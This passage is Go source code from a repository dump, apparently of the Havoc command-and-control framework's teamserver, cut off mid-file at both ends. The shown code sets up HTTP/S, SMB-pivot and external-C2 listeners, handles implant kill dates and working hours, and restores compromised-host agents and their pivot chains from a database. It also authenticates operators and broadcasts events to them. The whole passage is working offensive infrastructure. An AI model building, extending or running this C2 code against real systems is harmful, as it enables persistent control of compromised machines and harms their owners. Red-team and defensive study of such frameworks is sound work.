t.EventsList\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn t.Listeners, t.EventsList\n\t\t}\n\t}\n\tlogger.Error(\"Listener not found: \", Name)\n\n\treturn t.Listeners, t.EventsList\n}\n\nfunc (t *Teamserver) ListenerEdit(Type int, Config any) {\n\n\tswitch Type {\n\n\tcase handlers.LISTENER_HTTP:\n\n\t\tfor i := range t.Listeners {\n\n\t\t\tif t.Listeners[i].Name == Config.(handlers.HTTPConfig).Name {\n\t\t\t\tt.Listeners[i].Config.(*handlers.HTTP).Config.UserAgent = Config.(handlers.HTTPConfig).UserAgent\n\t\t\t\tt.Listeners[i].Config.(*handlers.HTTP).Config.Headers = Config.(handlers.HTTPConfig).Headers\n\t\t\t\tt.Listeners[i].Config.(*handlers.HTTP).Config.Uris = Config.(handlers.HTTPConfig).Uris\n\t\t\t\tt.Listeners[i].Config.(*handlers.HTTP).Config.Proxy = Config.(handlers.HTTPConfig).Proxy\n\t\t\t\tt.Listeners[i].Config.(*handlers.HTTP).Config.BehindRedir = t.Profile.Config.Demon.TrustXForwardedFor\n\t\t\t}\n\n\t\t}\n\n\tcase handlers.LISTENER_SERVICE:\n\t\tlogger.Debug(\"LISTENER_SERVICE edit: \", Config)\n\t\tbreak\n\n\t}\n\n}\n\n// ListenerAdd\n// creates a package for the client that a new listener has been added.\nfunc (t *Teamserver) ListenerAdd(FromUser string, Type int, Config any) packager.Package {\n\n\tvar (\n\t\tName       string\n\t\tProtocol   string\n\t\tConfigJson []byte\n\t)\n\n\tswitch Type {\n\n\tcase handlers.LISTENER_HTTP:\n\n\t\tvar (\n\t\t\tInfo = structs.Map(Config.(*handlers.HTTP).Config)\n\t\t\tHost string\n\t\t)\n\n\t\tProtocol = handlers.AGENT_HTTP\n\t\tName = Info[\"Name\"].(string)\n\n\t\t/* Now set the config/info */\n\t\tInfo[\"Hosts\"] = strings.Join(Config.(*handlers.HTTP).Config.Hosts, \", \")\n\t\tInfo[\"Headers\"] = strings.Join(Config.(*handlers.HTTP).Config.Headers, \", \")\n\t\tInfo[\"Uris\"] = strings.Join(Config.(*handlers.HTTP).Config.Uris, \", \")\n\n\t\t/* proxy settings */\n\t\tInfo[\"Proxy Enabled\"] = Config.(*handlers.HTTP).Config.Proxy.Enabled\n\t\tInfo[\"Proxy Type\"] = Config.(*handlers.HTTP).Config.Proxy.Type\n\t\tInfo[\"Proxy Host\"] = Config.(*handlers.HTTP).Config.Proxy.Host\n\t\tInfo[\"Proxy Port\"] = Config.(*handlers.HTTP).Config.Proxy.Port\n\t\tInfo[\"Proxy Username\"] = Config.(*handlers.HTTP).Config.Proxy.Username\n\t\tInfo[\"Proxy Password\"] = Config.(*handlers.HTTP).Config.Proxy.Password\n\n\t\tInfo[\"Secure\"] = Config.(*handlers.HTTP).Config.Secure\n\t\tInfo[\"Status\"] = Config.(*handlers.HTTP).Active\n\n\t\tInfo[\"Response Headers\"] = strings.Join(Config.(*handlers.HTTP).Config.Response.Headers, \", \")\n\n\t\tInfo[\"Secure\"] = \"false\"\n\t\tif Config.(*handlers.HTTP).Config.Secure {\n\t\t\tInfo[\"Secure\"] = \"true\"\n\t\t}\n\n\t\tif Config.(*handlers.HTTP).Active {\n\t\t\tInfo[\"Status\"] = \"Online\"\n\t\t} else {\n\t\t\tInfo[\"Status\"] = \"Offline\"\n\t\t}\n\n\t\tdelete(Info, \"Proxy\")\n\t\tdelete(Info, \"Name\")\n\t\tdelete(Info, \"Response\")\n\n\t\tdelete(Info, \"Hosts\")\n\t\tdelete(Info, \"Name\")\n\n\t\tfor _, host := range Config.(*handlers.HTTP).Config.Hosts {\n\t\t\tif len(Host) == 0 {\n\t\t\t\tHost = host\n\t\t\t} else {\n\t\t\t\tHost += \", \" + host\n\t\t\t}\n\t\t}\n\t\tInfo[\"Hosts\"] = Host\n\n\t\t/* we get an error just do nothing */\n\t\tConfigJson, _ = json.Marshal(Info)\n\n\t\tbreak\n\n\tcase handlers.LISTENER_PIVOT_SMB:\n\n\t\tInfo := structs.Map(Config.(*handlers.SMB).Config)\n\n\t\tProtocol = handlers.AGENT_PIVOT_SMB\n\t\tName = Info[\"Name\"].(string)\n\n\t\tInfo[\"Status\"] = \"Online\"\n\n\t\tdelete(Info, \"Name\")\n\n\t\t/* we get an error just do nothing */\n\t\tConfigJson, _ = json.Marshal(Info)\n\n\t\tbreak\n\n\tcase handlers.LISTENER_EXTERNAL:\n\n\t\tInfo := structs.Map(Config.(*handlers.External).Config)\n\n\t\tProtocol = handlers.AGENT_EXTERNAL\n\t\tName = Info[\"Name\"].(string)\n\n\t\tInfo[\"Status\"] = \"Online\"\n\n\t\tdelete(Info, \"Name\")\n\n\t\t/* we get an error just do nothing */\n\t\tConfigJson, _ = json.Marshal(Info)\n\n\t\tbreak\n\n\t}\n\n\t// just add the listener to the sqlite db if we got any config provided\n\tif len(ConfigJson) > 0 {\n\t\terr := t.DB.ListenerAdd(Name, Protocol, string(ConfigJson))\n\t\tif err != nil {\n\t\t\tlogger.Error(fmt.Sprintf(\"Failed to add Listener \\\"%s\\\": %v\", Name, err))\n\t\t}\n\t}\n\n\treturn events.Listener.ListenerAdd(FromUser, Type, Config)\n}\n\n// ListenerServiceExc2Add\n// adds an external c2 listener that has been started from a service script to the teamserver listener list.\nfunc (t *Teamserver) ListenerServiceExc2Add(Name, ExEndpoint string, client *service.ClientService) error {\n\n\tlogger.Debug(\"test\")\n\n\tvar (\n\t\tConfig = handlers.ExternalConfig{\n\t\t\tName:     Name,\n\t\t\tEndpoint: ExEndpoint,\n\t\t}\n\n\t\tExtConfig *handlers.External\n\t)\n\n\tif t.ListenerExist(Name) {\n\t\treturn errors.New(\"listener with that name already exist\")\n\t}\n\n\t// create a new external C2 instance\n\tExtConfig = handlers.NewExternal(t.Server.Engine, Config)\n\tExtConfig.Teamserver = t\n\tExtConfig.Data = map[string]any{\n\t\t\"client\": client,\n\t}\n\n\tt.EndpointAdd(&Endpoint{\n\t\tEndpoint: ExtConfig.Config.Endpoint,\n\t\tFunction: ExtConfig.Request,\n\t})\n\n\t// add this exc2 listener to the teamserver listener list\n\tt.Listeners = append(t.Listeners, &Listener{\n\t\tName:   Name,\n\t\tType:   handlers.LISTENER_EXTERNAL,\n\t\tConfig: ExtConfig,\n\t})\n\n\treturn nil\n}\n\n// ListenerStartNotify\n// Notifies the clients of a new listener that is available to use.\nfunc (t *Teamserver) ListenerStartNotify(Listener map[string]any) {\n\tvar (\n\t\tListenerName   string\n\t\tListenerProt   string\n\t\tListenerHost   string\n\t\tListenerPort   string\n\t\tListenerErro   string\n\t\tListenerStatus string\n\t\tListenerInfo   string\n\n\t\tpk = packager.Package{\n\t\t\tHead: packager.Head{\n\t\t\t\tEvent: packager.Type.Listener.Type,\n\t\t\t},\n\n\t\t\tBody: packager.Body{\n\t\t\t\tSubEvent: packager.Type.Listener.Add,\n\t\t\t},\n\t\t}\n\t)\n\n\tlogger.Debug(Listener)\n\n\tif val, ok := Listener[\"Name\"]; ok {\n\t\tListenerName = val.(string)\n\t} else {\n\t\tlogger.DebugError(\"Listener map doesn't contain Name\")\n\t\treturn\n\t}\n\n\tif val, ok := Listener[\"Protocol\"]; ok {\n\t\tListenerProt = val.(string)\n\t} else {\n\t\tlogger.DebugError(\"Listener map doesn't contain Protocol\")\n\t\treturn\n\t}\n\n\tif val, ok := Listener[\"Host\"]; ok {\n\t\tListenerHost = val.(string)\n\t} else {\n\t\tlogger.DebugError(\"Listener map doesn't contain Host\")\n\t\treturn\n\t}\n\n\tif val, ok := Listener[\"Port\"]; ok {\n\t\tListenerPort = val.(string)\n\t} else {\n\t\tlogger.DebugError(\"Listener map doesn't contain Port\")\n\t\treturn\n\t}\n\n\tif val, ok := Listener[\"Error\"]; ok {\n\t\tListenerErro = val.(string)\n\t} else {\n\t\tlogger.DebugError(\"Listener map doesn't contain Error\")\n\t\treturn\n\t}\n\n\tif val, ok := Listener[\"Status\"]; ok {\n\t\tListenerStatus = val.(string)\n\t} else {\n\t\tlogger.DebugError(\"Listener map doesn't contain Status\")\n\t\treturn\n\t}\n\n\tif val, ok := Listener[\"Info\"]; ok {\n\t\tListenerInfo = val.(string)\n\t} else {\n\t\tlogger.DebugError(\"Listener map doesn't contain Info\")\n\t\treturn\n\t}\n\n\tpk.Head.Time = time.Now().Format(\"02/01/2006 15:04:05\")\n\tpk.Body.Info = map[string]any{\n\t\t\"Name\":     ListenerName,\n\t\t\"Protocol\": ListenerProt,\n\t\t\"Host\":     ListenerHost,\n\t\t\"Port\":     ListenerPort,\n\t\t\"Error\":    ListenerErro,\n\t\t\"Status\":   ListenerStatus,\n\t\t\"Info\":     ListenerInfo,\n\t}\n\n\tt.EventAppend(pk)\n\tt.EventBroadcast(\"\", pk)\n\n\tlogger.Info(fmt.Sprintf(\"Started \\\"%v\\\" listener\", colors.Green(ListenerName)))\n}\n"
  },
  {
    "path": "teamserver/cmd/server/service.go",
    "content": "package server\n\nimport (\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/logger\"\n\t\"fmt\"\n)\n\nfunc (t *Teamserver) ServiceAgent(MagicValue int) agent.ServiceAgentInterface {\n\tfor _, agentService := range t.Service.Agents {\n\t\tif agentService.MagicValue == fmt.Sprintf(\"0x%x\", MagicValue) {\n\t\t\treturn agentService\n\t\t}\n\t}\n\n\tlogger.Debug(\"Service agent not found\")\n\treturn nil\n}\n\nfunc (t *Teamserver) ServiceAgentExist(MagicValue int) bool {\n\tfor _, agentService := range t.Service.Agents {\n\t\tif agentService.MagicValue == fmt.Sprintf(\"0x%x\", MagicValue) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\tlogger.Debug(\"Service agent not found\")\n\treturn false\n}\n"
  },
  {
    "path": "teamserver/cmd/server/teamserver.go",
    "content": "package server\n\nimport \"C\"\nimport (\n\t\"Havoc/pkg/agent\"\n\t\"Havoc/pkg/common/certs\"\n\t\"Havoc/pkg/db\"\n\t\"Havoc/pkg/service\"\n\t\"Havoc/pkg/webhook\"\n\t\"bytes\"\n\t\"encoding/hex\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"os\"\n\t\"os/exec\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/gin-gonic/gin\"\n\t\"github.com/gorilla/websocket\"\n\t\"golang.org/x/crypto/sha3\"\n\n\t\"Havoc/pkg/colors\"\n\t\"Havoc/pkg/common\"\n\t\"Havoc/pkg/events\"\n\t\"Havoc/pkg/handlers\"\n\t\"Havoc/pkg/logger\"\n\t\"Havoc/pkg/packager\"\n\t\"Havoc/pkg/profile\"\n\t\"Havoc/pkg/utils\"\n)\n\nfunc NewTeamserver(DatabasePath string) *Teamserver {\n\tif d, err := db.DatabaseNew(DatabasePath); err != nil {\n\t\tlogger.Error(\"Failed to create a new db: \" + err.Error())\n\t\treturn nil\n\t} else {\n\t\treturn &Teamserver{\n\t\t\tDB: d,\n\t\t}\n\t}\n}\n\nfunc (t *Teamserver) SetServerFlags(flags TeamserverFlags) {\n\tt.Flags = flags\n}\n\nfunc (t *Teamserver) Start() {\n\tlogger.Debug(\"Starting teamserver...\")\n\tvar (\n\t\tServerFinished      chan bool\n\t\tTeamserverWs        string\n\t\tTeamserverPath, err = os.Getwd()\n\t\tListenerCount       int\n\t\tKillDate            int64\n\t)\n\n\tif err != nil {\n\t\tlogger.Error(\"Couldn't get the current directory: \" + err.Error())\n\t\treturn\n\t}\n\n\tif t.Flags.Server.Host == \"\" {\n\t\tt.Flags.Server.Host = t.Profile.ServerHost()\n\t}\n\n\tif t.Flags.Server.Port == \"\" {\n\t\tt.Flags.Server.Port = strconv.Itoa(t.Profile.ServerPort())\n\t}\n\n\tgin.SetMode(gin.ReleaseMode)\n\tt.Server.Engine = gin.New()\n\n\tt.Server.Engine.GET(\"/\", func(context *gin.Context) {\n\t\tcontext.Redirect(http.StatusMovedPermanently, \"home/\")\n\t})\n\n\t// Catch me if you can\n\tt.Server.Engine.GET(\"/havoc/\", func(context *gin.Context) {\n\n\t\tvar (\n\t\t\tupgrade   websocket.Upgrader\n\t\t\tWebSocket *websocket.Conn\n\t\t\tClientID  = utils.GenerateID(6)\n\t\t)\n\n\t\tif WebSocket, err = upgrade.Upgrade(context.Writer, context.Request, nil); err != nil {\n\t\t\tlogger.Error(\"Failed upgrading request: \" + err.Error())\n\t\t\treturn\n\t\t}\n\n\t\tt.Clients.Store(ClientID,\n\t\t\t&Client{\n\t\t\t\tUsername:      \"\",\n\t\t\t\tGlobalIP:      WebSocket.RemoteAddr().String(),\n\t\t\t\tConnection:    WebSocket,\n\t\t\t\tClientVersion: \"\",\n\t\t\t\tPackager:      packager.NewPackager(),\n\t\t\t\tAuthenticated: false,\n\t\t\t})\n\n\t\t// Handle connections in a new goroutine.\n\t\tgo t.handleRequest(ClientID)\n\t})\n\n\t// TODO: pass this as a profile/command line flag\n\tt.Server.Engine.Static(\"/home\", \"./bin/static\")\n\n\tt.Server.Engine.POST(\"/:endpoint\", func(context *gin.Context) {\n\t\tvar endpoint = context.Request.RequestURI[1:]\n\n\t\tif len(t.Endpoints) > 0 {\n\t\t\tfor i := range t.Endpoints {\n\t\t\t\tif t.Endpoints[i].Endpoint == endpoint {\n\t\t\t\t\tt.Endpoints[i].Function(context)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t})\n\n\t// start the teamserver websocket connection\n\tgo func(Host, Port string) {\n\t\tvar (\n\t\t\tcertPath = TeamserverPath + \"/data/server.cert\"\n\t\t\tkeyPath  = TeamserverPath + \"/data/server.key\"\n\n\t\t\tCert []byte\n\t\t\tKey  []byte\n\t\t)\n\n\t\tCert, Key, err = certs.HTTPSGenerateRSACertificate(Host)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed to generate server certificates: \" + err.Error())\n\t\t\tos.Exit(0)\n\t\t}\n\n\t\terr = os.WriteFile(certPath, Cert, 0644)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Couldn't save server cert file: \" + err.Error())\n\t\t\tos.Exit(0)\n\t\t}\n\n\t\terr = os.WriteFile(keyPath, Key, 0644)\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Couldn't save server cert file: \" + err.Error())\n\t\t\tos.Exit(0)\n\t\t}\n\n\t\t// start the teamserver\n\t\tif err = t.Server.Engine.RunTLS(Host+\":\"+Port, certPath, keyPath); err != nil {\n\t\t\tlogger.Error(\"Failed to start websocket: \" + err.Error())\n\t\t}\n\n\t\tServerFinished <- true\n\n\t\tos.Exit(0)\n\t}(t.Flags.Server.Host, t.Flags.Server.Port)\n\n\tt.WebHooks = webhook.NewWebHook()\n\tt.Listeners = []*Listener{}\n\n\tTeamserverWs = \"wss://\" + t.Flags.Server.Host + \":\" + t.Flags.Server.Port\n\n\tlogger.Info(\"Starting Teamserver on \" + colors.BlueUnderline(TeamserverWs))\n\n\t/* if we specified a webhook then lets use it. */\n\tif t.Profile.Config.WebHook != nil {\n\t\tif t.Profile.Config.WebHook.Discord != nil {\n\t\t\tvar (\n\t\t\t\tAvatarUrl string\n\t\t\t\tUserName  string\n\t\t\t)\n\n\t\t\tif len(t.Profile.Config.WebHook.Discord.AvatarUrl) > 0 {\n\t\t\t\tAvatarUrl = t.Profile.Config.WebHook.Discord.AvatarUrl\n\t\t\t}\n\n\t\t\tif len(t.Profile.Config.WebHook.Discord.UserName) > 0 {\n\t\t\t\tUserName = t.Profile.Config.WebHook.Discord.UserName\n\t\t\t}\n\n\t\t\tif len(t.Profile.Config.WebHook.Discord.WebHook) > 0 {\n\t\t\t\tt.WebHooks.SetDiscord(AvatarUrl, UserName, t.Profile.Config.WebHook.Discord.WebHook)\n\t\t\t}\n\t\t}\n\t}\n\n\t// start teamserver service\n\tif t.Profile.Config.Service != nil {\n\n\t\t// 3rd Party Agent Support Enabled\n\t\tt.Service = service.NewService(t.Server.Engine)\n\t\tt.Service.Teamserver = t\n\t\tt.Service.Data.ServerAgents = &t.Agents\n\t\tt.Service.Config = *t.Profile.Config.Service\n\n\t\tif len(t.Service.Config.Endpoint) > 0 {\n\t\t\tt.Service.Start()\n\t\t\tlogger.Info(fmt.Sprintf(\"%v starting service handle on %v\", \"[\"+colors.BoldWhite(\"SERVICE\")+\"]\", colors.BlueUnderline(TeamserverWs+\"/\"+t.Service.Config.Endpoint)))\n\t\t} else {\n\t\t\tlogger.Error(\"Teamserver service error: Endpoint not specified\")\n\t\t}\n\t}\n\n\t/* now load up our db or start a new one if none exist */\n\tDBPath := t.DB.Path()\n\tif t.DB, err = db.DatabaseNew(TeamserverPath + \"/\" + DBPath); err != nil {\n\t\tlogger.SetStdOut(os.Stderr)\n\t\tlogger.Error(\"Failed to create or open a database: \" + err.Error())\n\t\treturn\n\t}\n\n\tif t.DB.Existed() {\n\t\tlogger.Info(\"Opens existing database: \" + colors.Blue(DBPath))\n\t} else {\n\t\tlogger.Info(\"Creates new database: \" + colors.Blue(DBPath))\n\t}\n\n\tListenerCount = t.DB.ListenerCount()\n\n\t/* start listeners from the specified yaotl profile */\n\tif t.Profile.Config.Listener != nil {\n\n\t\t/* Start all HTTP/s listeners */\n\t\tfor _, listener := range t.Profile.Config.Listener.ListenerHTTP {\n\t\t\tif listener.KillDate != \"\" {\n\t\t\t\tt, err := time.Parse(\"2006-01-02 15:04:05\", listener.KillDate)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Failed to parse the kill date: \" + err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tKillDate = common.EpochTimeToSystemTime(t.Unix())\n\t\t\t} else {\n\t\t\t\tKillDate = 0\n\t\t\t}\n\n\t\t\tvar HandlerData = handlers.HTTPConfig{\n\t\t\t\tName:         listener.Name,\n\t\t\t\tKillDate:     KillDate,\n\t\t\t\tWorkingHours: listener.WorkingHours,\n\t\t\t\tHosts:        listener.Hosts,\n\t\t\t\tHostBind:     listener.HostBind,\n\t\t\t\tMethode:      listener.Methode,\n\t\t\t\tHostRotation: listener.HostRotation,\n\t\t\t\tBehindRedir:  t.Profile.Config.Demon.TrustXForwardedFor,\n\t\t\t\tPortBind:     strconv.Itoa(listener.PortBind),\n\t\t\t\tPortConn:     strconv.Itoa(listener.PortConn),\n\t\t\t\tUserAgent:    listener.UserAgent,\n\t\t\t\tHeaders:      listener.Headers,\n\t\t\t\tUris:         listener.Uris,\n\t\t\t\tSecure:       listener.Secure,\n\t\t\t}\n\n\t\t\tif listener.Cert != nil {\n\t\t\t\tvar Found = true\n\n\t\t\t\tif _, err = os.Stat(listener.Cert.Cert); !os.IsNotExist(err) {\n\t\t\t\t\tHandlerData.Cert.Cert = listener.Cert.Cert\n\t\t\t\t} else {\n\t\t\t\t\tFound = false\n\t\t\t\t}\n\n\t\t\t\tif _, err = os.Stat(listener.Cert.Key); !os.IsNotExist(err) {\n\t\t\t\t\tHandlerData.Cert.Key = listener.Cert.Key\n\t\t\t\t} else {\n\t\t\t\t\tFound = false\n\t\t\t\t}\n\n\t\t\t\tif !Found {\n\t\t\t\t\tlogger.Error(\"Failed to find Cert/Key Path for listener '\" + listener.Name + \"'. Using randomly generated certs\")\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif listener.Response != nil {\n\t\t\t\tHandlerData.Response.Headers = listener.Response.Headers\n\t\t\t}\n\n\t\t\tif err := t.ListenerStart(handlers.LISTENER_HTTP, HandlerData); err != nil {\n\t\t\t\tlogger.Error(\"Failed to start listener from profile: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t/* Start all SMB listeners */\n\t\tfor _, listener := range t.Profile.Config.Listener.ListenerSMB {\n\t\t\tif listener.KillDate != \"\" {\n\t\t\t\tt, err := time.Parse(\"2006-01-02 15:04:05\", listener.KillDate)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Failed to parse the kill date: \" + err.Error())\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tKillDate = common.EpochTimeToSystemTime(t.Unix())\n\t\t\t} else {\n\t\t\t\tKillDate = 0\n\t\t\t}\n\n\t\t\tvar HandlerData = handlers.SMBConfig{\n\t\t\t\tName:         listener.Name,\n\t\t\t\tPipeName:     listener.PipeName,\n\t\t\t\tKillDate:     KillDate,\n\t\t\t\tWorkingHours: listener.WorkingHours,\n\t\t\t}\n\n\t\t\tif err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, HandlerData); err != nil {\n\t\t\t\tlogger.Error(\"Failed to start listener from profile: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t/* Start all ExternalC2 listeners */\n\t\tfor _, listener := range t.Profile.Config.Listener.ListenerExternal {\n\t\t\tvar HandlerData = handlers.ExternalConfig{\n\t\t\t\tName:     listener.Name,\n\t\t\t\tEndpoint: listener.Endpoint,\n\t\t\t}\n\n\t\t\tif err := t.ListenerStart(handlers.LISTENER_EXTERNAL, HandlerData); err != nil {\n\t\t\t\tlogger.Error(\"Failed to start listener from profile: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t}\n\n\tif ListenerCount > 0 {\n\t\tvar TotalCount = 0\n\t\tif DbName := t.DB.ListenerNames(); len(DbName) > 0 {\n\t\t\tTotalCount = ListenerCount\n\t\t\tfor _, name := range DbName {\n\t\t\t\tfor _, listener := range t.Listeners {\n\t\t\t\t\tif listener.Name == name {\n\t\t\t\t\t\tTotalCount--\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif TotalCount > 0 {\n\t\t\tlogger.Info(fmt.Sprintf(\"Starting %v listeners from last session\", colors.Green(TotalCount)))\n\t\t}\n\t}\n\n\tfor _, listener := range t.DB.ListenerAll() {\n\n\t\tswitch listener[\"Protocol\"] {\n\n\t\tcase handlers.AGENT_HTTP, handlers.AGENT_HTTPS:\n\n\t\t\tvar (\n\t\t\t\tData        = make(map[string]any)\n\t\t\t\tHandlerData = handlers.HTTPConfig{\n\t\t\t\t\tName: listener[\"Name\"],\n\t\t\t\t}\n\t\t\t)\n\n\t\t\terr = json.Unmarshal([]byte(listener[\"Config\"]), &Data)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Failed to unmarshal json bytes to map: \" + err.Error())\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t/* set config of http listener */\n\t\t\tHandlerData.Hosts = strings.Split(Data[\"Hosts\"].(string), \", \")\n\t\t\tHandlerData.HostBind = Data[\"HostBind\"].(string)\n\t\t\tHandlerData.HostRotation = Data[\"HostRotation\"].(string)\n\t\t\tHandlerData.PortBind = Data[\"PortBind\"].(string)\n\t\t\tHandlerData.UserAgent = Data[\"UserAgent\"].(string)\n\t\t\tHandlerData.Headers = strings.Split(Data[\"Headers\"].(string), \", \")\n\t\t\tHandlerData.Uris = strings.Split(Data[\"Uris\"].(string), \", \")\n\t\t\tHandlerData.BehindRedir = t.Profile.Config.Demon.TrustXForwardedFor\n\n\t\t\tHandlerData.Secure = false\n\t\t\tif Data[\"Secure\"].(string) == \"true\" {\n\t\t\t\tHandlerData.Secure = true\n\t\t\t}\n\n\t\t\tif Data[\"Response Headers\"] != nil {\n\n\t\t\t\tswitch Data[\"Response Headers\"].(type) {\n\n\t\t\t\tcase string:\n\t\t\t\t\tHandlerData.Response.Headers = strings.Split(Data[\"Response Headers\"].(string), \", \")\n\t\t\t\t\tbreak\n\n\t\t\t\tdefault:\n\t\t\t\t\tfor _, s := range Data[\"Response Headers\"].([]interface{}) {\n\t\t\t\t\t\tHandlerData.Response.Headers = append(HandlerData.Response.Headers, s.(string))\n\t\t\t\t\t}\n\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t/* also ignore if we already have a listener running */\n\t\t\tif err := t.ListenerStart(handlers.LISTENER_HTTP, HandlerData); err != nil && err.Error() != \"listener already exists\" {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Failed to start listener from db: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase handlers.AGENT_EXTERNAL:\n\n\t\t\tvar (\n\t\t\t\tData        = make(map[string]any)\n\t\t\t\tHandlerData = handlers.ExternalConfig{\n\t\t\t\t\tName: listener[\"Name\"],\n\t\t\t\t}\n\t\t\t)\n\n\t\t\terr := json.Unmarshal([]byte(listener[\"Config\"]), &Data)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Debug(\"Failed to unmarshal json bytes to map: \" + err.Error())\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tHandlerData.Endpoint = Data[\"Endpoint\"].(string)\n\n\t\t\tif err := t.ListenerStart(handlers.LISTENER_EXTERNAL, HandlerData); err != nil && err.Error() != \"listener already exists\" {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Failed to start listener from db: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbreak\n\n\t\tcase handlers.AGENT_PIVOT_SMB:\n\n\t\t\tvar (\n\t\t\t\tData        = make(map[string]any)\n\t\t\t\tHandlerData = handlers.SMBConfig{\n\t\t\t\t\tName: listener[\"Name\"],\n\t\t\t\t}\n\t\t\t)\n\n\t\t\terr := json.Unmarshal([]byte(listener[\"Config\"]), &Data)\n\t\t\tif err != nil {\n\t\t\t\tlogger.Debug(\"Failed to unmarshal json bytes to map: \" + err.Error())\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tHandlerData.PipeName = Data[\"PipeName\"].(string)\n\n\t\t\tif err := t.ListenerStart(handlers.LISTENER_PIVOT_SMB, HandlerData); err != nil && err.Error() != \"listener already exists\" {\n\t\t\t\tlogger.SetStdOut(os.Stderr)\n\t\t\t\tlogger.Error(\"Failed to start listener from db: \" + err.Error())\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tbreak\n\n\t\t}\n\n\t}\n\n\t// load all existing Agents from the DB\n\tAgents := t.DB.AgentAll()\n\tfor _, Agent := range Agents {\n\t\tt.AgentAdd(Agent)\n\t}\n\n\tfor _, Agent := range Agents {\n\t\t// check if the agent has a parent\n\t\tparentID, err := t.ParentOf(Agent)\n\t\tif err == nil {\n\t\t\tAgent.Pivots.Parent = t.AgentInstance(parentID)\n\t\t}\n\t\t// check if the agent has any links\n\t\tAgentsIDs := t.LinksOf(Agent)\n\t\tfor _, AgentID := range AgentsIDs {\n\t\t\tAgent.Pivots.Links = append(Agent.Pivots.Links, t.AgentInstance(AgentID))\n\t\t}\n\t}\n\n\t// notify the clients\n\tfor _, Agent := range Agents {\n\t\tt.AgentSendNotify(Agent)\n\t}\n\n\tif len(Agents) > 0 {\n\t\tlogger.Info(fmt.Sprintf(\"Restored %v agents from last session\", colors.Green(len(Agents))))\n\t}\n\n\tt.EventAppend(events.SendProfile(t.Profile))\n\n\t// This should hold the Teamserver as long as the WebSocket Server is running\n\tlogger.Debug(\"Wait til the server shutdown\")\n\n\t<-ServerFinished\n}\n\nfunc (t *Teamserver) handleRequest(id string) {\n\tvalue, isok := t.Clients.Load(id)\n\n\tif !isok {\n\t\treturn\n\t}\n\n\tclient := value.(*Client)\n\t_, NewClient, err := client.Connection.ReadMessage()\n\n\tif err != nil {\n\t\tif err != io.EOF {\n\t\t\tlogger.Error(\"Error reading 2:\", err.Error())\n\t\t\tif strings.Contains(err.Error(), \"connection reset by peer\") {\n\t\t\t\terr := client.Connection.Close()\n\t\t\t\tif err != nil {\n\t\t\t\t\tlogger.Error(\"Error while closing Client connection: \" + err.Error())\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tt.Clients.Delete(id)\n\t\treturn\n\t}\n\n\tpk := client.Packager.CreatePackage(string(NewClient))\n\n\tif t.Profile != nil {\n\t\tvar found = false\n\t\tfor _, UserNames := range t.Profile.ListOfUsernames() {\n\t\t\tif UserNames == pk.Head.User {\n\t\t\t\tfound = true\n\t\t\t}\n\t\t}\n\t\tif !found {\n\t\t\terr := t.SendEvent(id, events.UserDoNotExists())\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"Error while sending package to \" + colors.Red(id) + \"\")\n\t\t\t}\n\t\t\tt.RemoveClient(id)\n\t\t\treturn\n\t\t}\n\t}\n\n\tisExist := false\n\tt.Clients.Range(func(key, value any) bool {\n\t\tif client.Username == pk.Head.User {\n\t\t\terr := t.SendEvent(id, events.UserAlreadyExits())\n\t\t\tif err != nil {\n\t\t\t\tlogger.Error(\"couldn't send event to client \"+colors.Yellow(id)+\":\", err)\n\t\t\t}\n\t\t\tt.RemoveClient(id)\n\t\t\tisExist = true\n\t\t\treturn false\n\t\t}\n\t\treturn true\n\t})\n\tif isExist {\n\t\treturn\n\t}\n\tif !t.ClientAuthenticate(pk) {\n\t\tlogger.Error(\"Client [User: \" + pk.Body.Info[\"User\"].(string) + \"] failed to Authenticate! (\" + colors.Red(client.GlobalIP) + \")\")\n\t\terr := t.SendEvent(id, events.Authenticated(false))\n\t\tif err != nil {\n\t\t\tlogger.Error(\"client (\" + colors.Red(id) + \") error while sending authenticate message: \" + colors.Red(err))\n\t\t}\n\t\terr = client.Connection.Close()\n\t\tif err != nil {\n\t\t\tlogger.Error(\"Failed to close client (\" + id + \") socket\")\n\t\t}\n\t\treturn\n\t} else {\n\n\t\tlogger.Good(\"User <\" + colors.Blue(pk.Body.Info[\"User\"].(string)) + \"> \" + colors.Green(\"Authenticated\"))\n\n\t\tclient.Authenticated = true\n\t\tclient.ClientID = id\n\n\t\terr := t.SendEvent(id, 